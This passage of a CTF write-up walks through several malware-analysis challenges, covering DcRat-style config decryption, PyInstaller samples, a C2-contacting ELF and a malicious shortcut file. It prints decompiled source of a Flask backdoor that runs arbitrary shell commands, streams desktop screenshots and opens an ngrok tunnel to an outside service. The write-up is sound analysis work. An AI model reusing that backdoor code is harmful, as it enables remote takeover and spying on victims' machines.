I first tried to rewrite Decrypt using Python, but I was getting either gibberish or errors. I would certainly succeed with more time, but I had to find the fastest solution.

There is an online C# compiler here, so I gave ChatGPT the decrypt code and asked it to add the main entry point to decrypt the flag using the master key I got from the settings file.

Here is the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;

namespace Client.Algorithm
{
    public class Aes256
    {
        private const int KeyLength = 32;
        private const int AuthKeyLength = 64;
        private const int IvLength = 16;
        private const int HmacSha256Length = 32;
        private readonly byte[] _key;
        private readonly byte[] _authKey;
        private static readonly byte[] Salt = Encoding.ASCII.GetBytes("DcRatByqwqdanchun");

        public Aes256(string masterKey)
        {
            if (string.IsNullOrEmpty(masterKey))
                throw new ArgumentException("masterKey can not be null or empty.");
            using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(masterKey, Aes256.Salt, 50000))
            {
                this._key = rfc2898DeriveBytes.GetBytes(32);
                this._authKey = rfc2898DeriveBytes.GetBytes(64);
            }
        }

        public string Encrypt(string input) => Convert.ToBase64String(this.Encrypt(Encoding.UTF8.GetBytes(input));

        public byte[] Encrypt(byte[] input)
        {
            if (input == null)
                throw new ArgumentNullException("input can not be null.");
            using (MemoryStream memoryStream = new MemoryStream())
            {
                memoryStream.Position = 32L;
                using (AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider())
                {
                    cryptoServiceProvider.KeySize = 256;
                    cryptoServiceProvider.BlockSize = 128;
                    cryptoServiceProvider.Mode = CipherMode.CBC;
                    cryptoServiceProvider.Padding = PaddingMode.PKCS7;
                    cryptoServiceProvider.Key = this._key;
                    cryptoServiceProvider.GenerateIV();
                    using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write))
                    {
                        memoryStream.Write(cryptoServiceProvider.IV, 0, cryptoServiceProvider.IV.Length);
                        cryptoStream.Write(input, 0, input.Length);
                        cryptoStream.FlushFinalBlock();
                        using (HMACSHA256 hmacshA256 = new HMACSHA256(this._authKey))
                        {
                            byte[] hash = hmacshA256.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
                            memoryStream.Position = 0L;
                            memoryStream.Write(hash, 0, hash.Length);
                        }
                    }
                }
                return memoryStream.ToArray();
            }
        }

        public string Decrypt(string input) => Encoding.UTF8.GetString(this.Decrypt(Convert.FromBase64String(input));

        public byte[] Decrypt(byte[] input)
        {
            if (input == null)
                throw new ArgumentNullException("input can not be null.");
            using (MemoryStream memoryStream = new MemoryStream(input))
            {
                using (AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider())
                {
                    cryptoServiceProvider.KeySize = 256;
                    cryptoServiceProvider.BlockSize = 128;
                    cryptoServiceProvider.Mode = CipherMode.CBC;
                    cryptoServiceProvider.Padding = PaddingMode.PKCS7;
                    cryptoServiceProvider.Key = this._key;
                    using (HMACSHA256 hmacshA256 = new HMACSHA256(this._authKey))
                    {
                        byte[] hash = hmacshA256.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
                        byte[] numArray = new byte[32];
                        memoryStream.Read(numArray, 0, numArray.Length);
                        if (!this.AreEqual(hash, numArray))
                            throw new CryptographicException("Invalid message authentication code (MAC).");
                    }
                    byte[] buffer = new byte[16];
                    memoryStream.Read(buffer, 0, 16);
                    cryptoServiceProvider.IV = buffer;
                    using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read))
                    {
                        byte[] numArray = new byte[memoryStream.Length - 16L + 1L];
                        byte[] dst = new byte[cryptoStream.Read(numArray, 0, numArray.Length)];
                        Buffer.BlockCopy((Array) numArray, 0, (Array) dst, 0, dst.Length);
                        return dst;
                    }
                }
            }
        }

        [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
        private bool AreEqual(byte[] a1, byte[] a2)
        {
            bool flag = true;
            for (int index = 0; index < a1.Length; ++index)
            {
                if ((int) a1[index] != (int) a2[index])
                    flag = false;
            }
            return flag;
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            string masterKey = "KXMgkPtReFEHYxJs4LdB0FdPVh7XlC4D";
            string ciphertext = "mZzroGSIkpZlwvCwLG0PHQMXzjphDowlbeBayjWJhmYPJ5KiQeUAbcv9SzTnLGpr3uYQ0VvZ02rGlxz71tOXMemdK1DKKY6uX2QfUJW+WlDPcLi1u48xBrhmDcpRaK1G";

            Aes256 aes256 = new Aes256(masterKey);

            try
            {
                byte[] encryptedData = Convert.FromBase64String(ciphertext);
                byte[] decryptedData = aes256.Decrypt(encryptedData);

                string plaintext = System.Text.Encoding.UTF8.GetString(decryptedData);
                Console.WriteLine("Decrypted Data: " + plaintext);
            }
            catch (Exception ex)
            {
                Console.WriteLine("Decryption failed: " + ex.Message);
            }
        }
    }
}

I had to remove two lines because the online compiler wasn’t happy with it, but then I could run the program:

1
Decrypted Data: flag{8b988b859588f2725f0c859104919019}

Snake Eater

Description

Hey Analyst, I’ve never seen an executable icon that looks like this. I don’t like things I’m not familiar with. Can you check it out and see what it’s doing?

Solution

I lost quite some time on this one too.

The icon of the executable and strings appearing in the binary are strong indicators that the binary was made with Python using a packaging tool like PyInstaller.

You can use https://pyinstxtractor-web.netlify.app/ to extract the compiled Python files out of the binary then use some other program to decompile the pyc or directly read the Python assembly version.

Unfortunately decompiling the pyc failed because the best solution out there (uncompyle6) doesn’t support recent Python versions.

Getting the Python assembler code is not really helpful because there are references to pyarmor meaning the code is obfuscated.

After some time I chose to debug it on a Windows VM using x64dbg and a plugin called DbgChild.

The plugin is able to follow in the debugger child processes created using CreateProcessW which is what the process is doing (the PyInstaller loader is just unpacking the Python311 DLL file and some common Windows DLL then running the binary again).

The plugin works fine, but I didn’t know exactly where to put a breakpoint in the child process.

I looked at the memory of the process but could not find anything of interest.

Finally, some guys on the #ctf-general-chat channel on Discord said you just need to run the exe and that using procmon is enough.

That was surprising because I sent the binary to a public Cuckoo sandbox and could not see anything useful.

After setting up the filters for Process Monitor and running the binary again I could indeed see an access to a file whose name contained the flag:

Process Monitor catching flag

Snake Eater II

Description

The Threat Actor must have gotten word that you had no trouble dissecting Snake Eater. They said this one is a bit more… involved.

Solution

Without many surprises the binary is similar to the former : it is a Windows 64 bits binary made from Python code using PyInstaller.

Using a Windows VM to solve it would have been easier unfortunately at the time I worked on the challenge I didn’t have such resources close to me.

My first attempt was to run ltrace on Wine, telling it to follow forks and print enough data in the output :

1
ltrace -f -s 200 wine64 snake_eaterII.exe -v 2>&1 | grep -i flag

But nothing interesting popped up.

Most online good sandbox (like Any.Run) won’t let you run 64 bits binary without paying.

Finding the former free VirtualBox images for Windows 10 was a pain as nowadays Microsoft only offer an enormous Windows 11 VM with Visual Studio. Downloading it would take way too much time, so I had to find another way.

I know that inotify is the modern way to monitor file activity on Linux. It is certainly the best alternative to SysInternal’s procmon.

inotifywatch and inotifywait have different functionalities. It seems the latter is better for watching files.

I launched it with the following command to monitor changes in the C: drive used by Wine:

1
sudo inotifywait -r -m /home/nico/.wine/drive_c/

I just have to execute the binary with wine snake_eaterII.exe and look at the output.

Nice, we can see a flag.txt file being created and then removed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
--- snip ---
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/ CLOSE_NOWRITE,CLOSE,ISDIR Themes
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ CLOSE_NOWRITE,CLOSE,ISDIR 
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ CREATE flag.txt
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ OPEN flag.txt
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ MODIFY flag.txt
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ MODIFY flag.txt
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ CLOSE_WRITE,CLOSE flag.txt
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ OPEN flag.txt
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ CLOSE_NOWRITE,CLOSE flag.txt
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ DELETE flag.txt
/home/nico/.wine/drive_c/windows/system32/ OPEN api-ms-win-appmodel-runtime-l1-1-2.dll
/home/nico/.wine/drive_c/windows/system32/ ACCESS api-ms-win-appmodel-runtime-l1-1-2.dll
/home/nico/.wine/drive_c/windows/system32/ CLOSE_NOWRITE,CLOSE api-ms-win-appmodel-runtime-l1-1-2.dll
/home/nico/.wine/drive_c/windows/system32/ OPEN mscoree.dll
/home/nico/.wine/drive_c/windows/system32/ ACCESS mscoree.dll
/home/nico/.wine/drive_c/windows/system32/ CLOSE_NOWRITE,CLOSE mscoree.dll
/home/nico/.wine/drive_c/users/nico/Temp/_MEI1882/ CLOSE_NOWRITE,CLOSE python311.dll
/home/nico/.wine/drive_c/users/nico/Temp/_MEI1882/pyarmor_runtime_000000/ CLOSE_NOWRITE,CLOSE pyarmor_runtime.pyd
--- snip ---

Let’s win a race! I wrote that small Python script:

1
2
3
4
5
6
while True:
    try:
        print(open("/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/flag.txt").read())
        break
    except:
        continue

I had to launch the Windows binary several time, not because my script is slow but because the Windows binary sometimes use another folder.

After 3 attempts I got the flag:

1
flag{be47387ab77251ecf80db1b6725dd7ac}

Snake Oil

Description

One of our workstations was exhibiting strange network communications… we found this binary that looked to be the culprit. Can you find anything suspicious?

Solution

This challenge was disappointing. I started it late because I didn’t have some time to solve it before.

We get a file called snake-oil which is a Windows binary for 64 bits systems:

1
PE32+ executable (console) x86-64, for MS Windows, 7 sections

I guessed that other players already submitted the file on public sandboxes, so I searched its MD5 hash (74c602cc5b0ae6dff25a373c8f0de906) on VirusTotal.

It leads me to this report.

First strange detail is the first time the file was seen:

1
First Submission 2022-04-28 20:20:31 UTC

Otherwise, we know how it is packed:

1
DetectItEasy PE64   Packer: PyInstaller   Compiler: Microsoft Visual C/C++ (2019 v.16.8 or 16.9)   Compiler: Microsoft Visual C/C++ (19.28.29914) [C]   Linker: Microsoft Linker (14.28.29914)   Tool: Visual Studio (2019 version 16.9-16.10)   Overlay: zlib archive

Finally, in the Relations tab we can get the list of dropped files and one have a strange name:

1
2
3
2023-10-22 0/60 ?  brain-melt
SHA-256 6c871dc561bdb81a4c6f201a8f77649c9783a81a495ffd7395f3af63f681e1fd
File Size 4.61 KB

(meaning the file is not considered dangerous for 60 AVs, it is of unknown type and called brain-melt)

If you search for it on the Internet you can find this writeup for the Brain Melt challenge of NahamCon 2022.

You can just copy the flag and submit it, it is the same one.

So the challenge is once again a copy of NahamCon but let’s solve it the right way.

As we know it was packed with PyInstaller we can use this online tool to extract the files.

Within the list of files there is the one we are interested in:

1
2
$ file brain-melt.pyc
brain-melt.pyc: Byte-compiled Python module for CPython 3.9, timestamp-based, .py timestamp: Thu Jan  1 00:00:00 1970 UTC, .py size: 0 bytes

There is a project called Decompyle++ which seems to support any version of Python.

The project is using CMake so once you clone the repository you must do the following:

1
2
3
mkdir build
cd build
cmake ..

It will generate the Makefile and then you can just launch make to build the binaries.

Let’s use the pycdc tool:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
$ ./pycdc brain-melt.pyc
# Source Generated with Decompyle++
# File: brain-melt.pyc (Python 3.9)

Unsupported opcode: RERAISE
from flask import Flask, flash, request, render_template_string, send_file, redirect
from wtforms import Form, TextField, validators, StringField, SubmitField
import subprocess
import pyautogui
import io
import sys
from PIL import Image
from pyngrok import ngrok
import base64
DEBUG = True
app = Flask(__name__)
app.config['SECRET_KEY'] = '9EQrXQ88pwP7UWaXbkmThhKuDdYxsad1'

def decrypt(s1, s2):
    return ''.join((lambda .0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in .0 ])(zip(s1, s2)))


def deobfuscate():
    part1 = '2ec7627d{galf'[::-1]
    part2 = str(base64.b64decode('NjIwM2I1Y2M2OWY0'.encode('ascii')), 'UTF8')
    part3 = decrypt('\x17*\x07`BC\x14*R@\x14^*', 'uKeVuzwIexplW')
    key = part1 + part2 + part3
    return key


def ngrok_tunnel():
    ngrok.set_auth_token(deobfuscate())
    http_tunnel = ngrok.connect(5000, 'http', '-log=stdout > NUL')


def Desktop(pil_img):
    img_io = io.BytesIO()
    pil_img.save(img_io, 'JPEG', 70, **('quality',))
    img_io.seek(0)
    return send_file(img_io, 'image/jpeg', **('mimetype',))


def execute(cmd):
    child = subprocess.Popen(cmd, True, subprocess.PIPE, subprocess.PIPE, **('shell', 'stdout', 'stderr'))
    for line in child.stdout:
        print(line)
        l = line.decode('utf-8', 'ignore', **('encoding', 'errors'))
        flash(l)
    for line in child.stderr:
        l = line.decode('utf-8', 'ignore', **('encoding', 'errors'))
        flash(l)


class CommandForm(Form):
    command = TextField('Command:', [
        validators.required()], **('validators',))
    
    def display():
        form = CommandForm(request.form)
        print(form.errors)
        if request.method == 'POST':
            command = request.form['command']
        if form.validate() and request.method == 'POST':
            result = execute(command)
            flash(result)
        else:
            flash('Please enter a command.')
        return render_template_string('<!doctype html>\n                <html>\n                    <head>\n                        <link rel="stylesheet" href="css url"/>\n                            </head>\n                                <body>\n                                    <form action="" method="post" role="form">\n                                        <div class="form-group">\n                                              <label for="Command">Command:</label>\n                                              <input type="text" class="form-control" id="command" name="command"></div>\n                                              <button type="submit" class="btn btn-success">Submit</button>\n                                              </form>\n                                            {% for message in get_flashed_messages() %}\n                                            <p>{{ message }}</p>\n                                            {% endfor %}\n                                            <img src="/images/desktop.jpg" id="img" width="100%" scrolling="yes" style="height: 100vh;"></iframe>\n                                </body>\n                            \n                            {% block javascript %}\n                            <script type="text/javascript">\n                            window.onload = function() {\n                                var image = document.getElementById("img");\n\n                                function updateImage() {\n                                    image.src = image.src.split("?")[0] + "?" + new Date().getTime();\n                                }\n\n                                setInterval(updateImage, 1000);\n                            }\n                            </script>\n                            {% endblock %}\n                            </html>\n                        ', form, **('form',))

    display = app.route('/', [
        'GET',
        'POST'], **('methods',))(display)


def serve_img():
    screenshot = pyautogui.screenshot()
    return Desktop(screenshot)

serve_img = app.route('/images/desktop.jpg')(serve_img)

We just need to run the deobfuscate function with its decrypt dependency.

Note that the lambda receives an argument which doesn’t have a valid name, so you also have to fix this.

It can be done in the interpreter:

1
2
3
4
5
6
7
8
9
10
11
12
13
>>> import base64
>>> def decrypt(s1, s2):
...     return ''.join((lambda x: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in x ])(zip(s1, s2)))
...
>>> def deobfuscate():
...     part1 = '2ec7627d{galf'[::-1]
...     part2 = str(base64.b64decode('NjIwM2I1Y2M2OWY0'.encode('ascii')), 'UTF8')
...     part3 = decrypt('\x17*\x07`BC\x14*R@\x14^*', 'uKeVuzwIexplW')
...     key = part1 + part2 + part3
...     return key
...
>>> deobfuscate()
'flag{d7267ce26203b5cc69f4bab679cc78d2}'

Speakfriend

Description

It seems like this website was compromised. We found this file that seems to be related… can you make any sense of these and uncover a flag?

NOTE: Archive password is infected You will need access this service with HTTPS. Please use https:// as the URL schema rather than plain http://.

This website uses a self-signed certificate. The “Warning: connection not secure” message is expected and intended. You can continue on to the website.

This challenge is based off of a real malware sample. We have done our best to “defang” the code, but out of abundance of caution it is strongly encouraged you only analyze this inside of a virtual environment separate from any production devices.

Solution

The file is a Linux binary:

1
2
$ file main
main: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f020f8b12bc1a0b0f3122413b698344bfbfd1d9d, for GNU/Linux 3.2.0, not stripped

It requires the libcurl-gnutls4 library which may be missing on your computer (here I have it already):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ ldd main
        linux-vdso.so.1 (0x00007ffc3db4f000)
        libgtk3-nocsd.so.0 => /lib/x86_64-linux-gnu/libgtk3-nocsd.so.0 (0x00007fe558a00000)
        libcurl-gnutls.so.4 => /lib/x86_64-linux-gnu/libcurl-gnutls.so.4 (0x00007fe558c78000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe5587d8000)
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe558c73000)
        libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fe558c6e000)
        libnghttp2.so.14 => /lib/x86_64-linux-gnu/libnghttp2.so.14 (0x00007fe558c42000)
        libidn2.so.0 => /lib/x86_64-linux-gnu/libidn2.so.0 (0x00007fe558c21000)
        librtmp.so.1 => /lib/x86_64-linux-gnu/librtmp.so.1 (0x00007fe5587b9000)
        libssh.so.4 => /lib/x86_64-linux-gnu/libssh.so.4 (0x00007fe55874c000)
        libpsl.so.5 => /lib/x86_64-linux-gnu/libpsl.so.5 (0x00007fe558c0d000)
        libnettle.so.8 => /lib/x86_64-linux-gnu/libnettle.so.8 (0x00007fe558706000)
        libgnutls.so.30 => /lib/x86_64-linux-gnu/libgnutls.so.30 (0x00007fe55851b000)
        libgssapi_krb5.so.2 => /lib/x86_64-linux-gnu/libgssapi_krb5.so.2 (0x00007fe5584c7000)
        libldap-2.5.so.0 => /lib/x86_64-linux-gnu/libldap-2.5.so.0 (0x00007fe558468000)
        liblber-2.5.so.0 => /lib/x86_64-linux-gnu/liblber-2.5.so.0 (0x00007fe558457000)
        libzstd.so.1 => /lib/x86_64-linux-gnu/libzstd.so.1 (0x00007fe558388000)
        libbrotlidec.so.1 => /lib/x86_64-linux-gnu/libbrotlidec.so.1 (0x00007fe55837a000)
        libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fe55835e000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe558d49000)
        libunistring.so.2 => /lib/x86_64-linux-gnu/libunistring.so.2 (0x00007fe5581b4000)
        libhogweed.so.6 => /lib/x86_64-linux-gnu/libhogweed.so.6 (0x00007fe55816c000)
        libgmp.so.10 => /lib/x86_64-linux-gnu/libgmp.so.10 (0x00007fe5580ea000)
        libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007fe557ca8000)
        libp11-kit.so.0 => /lib/x86_64-linux-gnu/libp11-kit.so.0 (0x00007fe557b6d000)
        libtasn1.so.6 => /lib/x86_64-linux-gnu/libtasn1.so.6 (0x00007fe557b55000)
        libkrb5.so.3 => /lib/x86_64-linux-gnu/libkrb5.so.3 (0x00007fe557a8a000)
        libk5crypto.so.3 => /lib/x86_64-linux-gnu/libk5crypto.so.3 (0x00007fe557a5b000)
        libcom_err.so.2 => /lib/x86_64-linux-gnu/libcom_err.so.2 (0x00007fe557a55000)
        libkrb5support.so.0 => /lib/x86_64-linux-gnu/libkrb5support.so.0 (0x00007fe557a47000)
        libsasl2.so.2 => /lib/x86_64-linux-gnu/libsasl2.so.2 (0x00007fe557a2a000)
        libbrotlicommon.so.1 => /lib/x86_64-linux-gnu/libbrotlicommon.so.1 (0x00007fe557a07000)
        libffi.so.8 => /lib/x86_64-linux-gnu/libffi.so.8 (0x00007fe5579fa000)
        libkeyutils.so.1 => /lib/x86_64-linux-gnu/libkeyutils.so.1 (0x00007fe5579f3000)
        libresolv.so.2 => /lib/x86_64-linux-gnu/libresolv.so.2 (0x00007fe5579df000)

What is doing the binary ? Let’s use ltrace to see how it uses libraries :

1
2
$ ltrace ./main
+++ exited (status 1) +++

Well, it is not doing much. Let’s open it with Cutter :

SpeakFriend argc checking

We can see that argc is at $rbp - 0x214 ($rbp is the base pointer meaning the start of the current stack frame). Cutter names it var_214h.

The code first checks if argc is equal or lower than 1 (jle). Such case makes the program exits immediately.

The same goes after if argc is lower than 3.

We can see at the bottom that it is also setting a User-Agent and doing calculus. Later it calls several curl functions, but we can’t see any URL in the binary, so they certainly must be passed as arguments.

Let’s try ltrace again :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ ltrace -s 200 ./main abc 123 
strlen("")                                                                                                                        = 0
sprintf("M", "%c", 'M')                                                                                                           = 1
strlen("M")                                                                                                                       = 1
sprintf("o", "%c", 'o')                                                                                                           = 1
strlen("Mo")                                                                                                                      = 2
sprintf("z", "%c", 'z')                                                                                                           = 1
strlen("Moz")                                                                                                                     = 3
sprintf("i", "%c", 'i')                                                                                                           = 1
strlen("Mozi")                                                                                                                    = 4
--- snip ---                                                                         = 46
sprintf("3", "%c", '3')                                                                                                           = 1
strlen("Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353")                                                                         = 47
sprintf("e", "%c", 'e')                                                                                                           = 1
curl_global_init(3, 0x55571424b00a, 0, 0)                                                                                         = 0
curl_easy_init(0x7f4d3c80d100, 0, 0, 0)                                                                                           = 0x5557159b26c0
strcmp("123", "443")                                                                                                              = -3
snprintf("abc:123", 256, "%s:%s", "abc", "123")                                                                                   = 7
curl_easy_setopt(0x5557159b26c0, 0x2712, 0x7ffc88166500, 0x2712)                                                                  = 0
curl_easy_setopt(0x5557159b26c0, 0x2722, 0x7ffc88166490, 0x2722)                                                                  = 0
curl_easy_setopt(0x5557159b26c0, 0x4e2b, 0x55571424a3d3, 0x4e2b)                                                                  = 0
curl_easy_setopt(0x5557159b26c0, 119, 3, 119)                                                                                     = 0
curl_easy_setopt(0x5557159b26c0, 64, 0, 64)                                                                                       = 0
curl_easy_setopt(0x5557159b26c0, 81, 0, 81)                                                                                       = 0
curl_easy_setopt(0x5557159b26c0, 52, 1, 52)                                                                                       = 0
curl_easy_perform(0x5557159b26c0, 52, 0x38208040, 52)                                                                             = 6
curl_easy_cleanup(0x5557159b26c0, 0, 0, 0x5557159b2748)                                                                           = 1
sleep(30)                                                                                                                         = 0
curl_easy_init(0x7f4d3c82f1c8, 0, 0, 0)                                                                                           = 0x5557159b26c0
strcmp("123", "443")                                                                                                              = -3
snprintf("abc:123", 256, "%s:%s", "abc", "123")                                                                                   = 7
curl_easy_setopt(0x5557159b26c0, 0x2712, 0x7ffc88166500, 0x2712)                                                                  = 0
curl_easy_setopt(0x5557159b26c0, 0x2722, 0x7ffc88166490, 0x2722)                                                                  = 0
curl_easy_setopt(0x5557159b26c0, 0x4e2b, 0x55571424a3d3, 0x4e2b)                                                                  = 0
curl_easy_setopt(0x5557159b26c0, 119, 3, 119)                                                                                     = 0
curl_easy_setopt(0x5557159b26c0, 64, 0, 64)                                                                                       = 0
curl_easy_setopt(0x5557159b26c0, 81, 0, 81)                                                                                       = 0
curl_easy_setopt(0x5557159b26c0, 52, 1, 52)                                                                                       = 0
curl_easy_perform(0x5557159b26c0, 52, 0x38208040, 52)                                                                             = 6
curl_easy_cleanup(0x5557159b26c0, 0, 0, 0x5557159b2748)                                                                           = 1
sleep(30^C <no return ...>
--- SIGINT (Interrompre) ---
+++ killed by SIGINT +++

So the program is setting up a User-Agent which is Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e (the e is added using the last sprintf but we don’t see the result).

The program also creates a netloc with the two arguments so argv[1] must be the hostname and argv[2] the port.

Giving good arguments doesn’t seem to be enough to get a flag but with all those information we can use cURL to obtain the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ curl https://chal.ctf.games:32056/ -k -A "Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e" -D-
HTTP/1.1 302 FOUND
Server: gunicorn
Date: Sat, 21 Oct 2023 08:41:06 GMT
Connection: keep-alive
Content-Type: text/html; charset=utf-8
Content-Length: 267
Location: /93bed45b-7b70-4097-9279-98a4aef0353e/c2
Access-Control-Allow-Origin: *

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/93bed45b-7b70-4097-9279-98a4aef0353e/c2">/93bed45b-7b70-4097-9279-98a4aef0353e/c2</a>. If not, click the link.

Let’s ask for the redirection :

1
2
3
4
5
6
7
8
9
10
curl https://chal.ctf.games:32056/93bed45b-7b70-4097-9279-98a4aef0353e/c2 -k -A "Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e" -D-
HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 21 Oct 2023 08:41:30 GMT
Connection: keep-alive
Content-Type: text/html; charset=utf-8
Content-Length: 39
Access-Control-Allow-Origin: *

flag{3f2567475c6def39501bab2865aeba60}

Looking deeper we can see that curl_easy_setopt is called to specify a callback function:

1
2
3
4
5
6
7
8
0x0000165c      mov dword [var_1f0h], 0x4e2b ; '+N'
0x00001666      mov ecx, dword [var_1f0h]
0x0000166c      mov rax, qword [var_1c8h]
0x00001673      lea rdx, [write_callback] ; 0x13d3
0x0000167a      mov esi, ecx
0x0000167c      mov rdi, rax
0x0000167f      mov eax, 0
0x00001684      call curl_easy_setopt ; sym.imp.curl_easy_setopt

But the related code doesn’t print anything:

1
2
3
4
5
6
7
8
9
10
0x000013d7      push rbp
0x000013d8      mov rbp, rsp
0x000013db      mov qword [var_8h], rdi ; arg1
0x000013df      mov qword [var_10h], rsi ; arg2
0x000013e3      mov qword [var_18h], rdx ; arg3
0x000013e7      mov qword [var_20h], rcx ; arg4
0x000013eb      mov rax, qword [var_10h]
0x000013ef      imul rax, qword [var_18h]
0x000013f4      pop rbp
0x000013f5      ret

We could also have used GDB to do a dynamic analysis but the binary is PIE meaning that instruction addresses are random at each execution.

It doesn’t make it impossible to debug but a little bit harder.

Thumb Drive

Description

People say you shouldn’t plug in USB drives! But I discovered this neat file on one that I found in the parking lot…

Solution

The file is a Windows shortcut (.lnk) file:

1
2
$ file ADATA_128GB.lnk
ADATA_128GB.lnk: MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has command line arguments, Icon number=30, Archive, ctime=Sun Nov 21 02:24:03 2010, mtime=Sun Nov 21 02:24:03 2010, atime=Sun Nov 21 02:24:03 2010, length=302592, window=hidenormalshowminimized

To analyse it you can install the package liblnk-tools (at least this is the name on openSUSE) and use the lnkinfo command:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
$ lnkinfo ADATA_128GB.lnk 
lnkinfo 20230928

Windows Shortcut information:
        Contains a link target identifier
        Contains a description string
        Contains a command line arguments string
        Contains an icon location string
        Contains an environment variables block
        Number of data blocks           : 0

Link information:
        Creation time                   : Nov 21, 2010 03:24:03.332515300 UTC
        Modification time               : Nov 21, 2010 03:24:03.332515300 UTC
        Access time                     : Nov 21, 2010 03:24:03.332515300 UTC
        File size                       : 302592 bytes
        Icon index                      : 30
        Show Window value               : 0x00000007
        Hot Key value                   : 0
        File attribute flags            : 0x00000020
                Should be archived (FILE_ATTRIBUTE_ARCHIVE)
        Drive type                      : Fixed (3)
        Drive serial number             : 0x4e595676
        Volume label                    : 
        Local path                      : C:\\Windows\\System32\\cmd.exe
        Description                     : ADATA 128GB
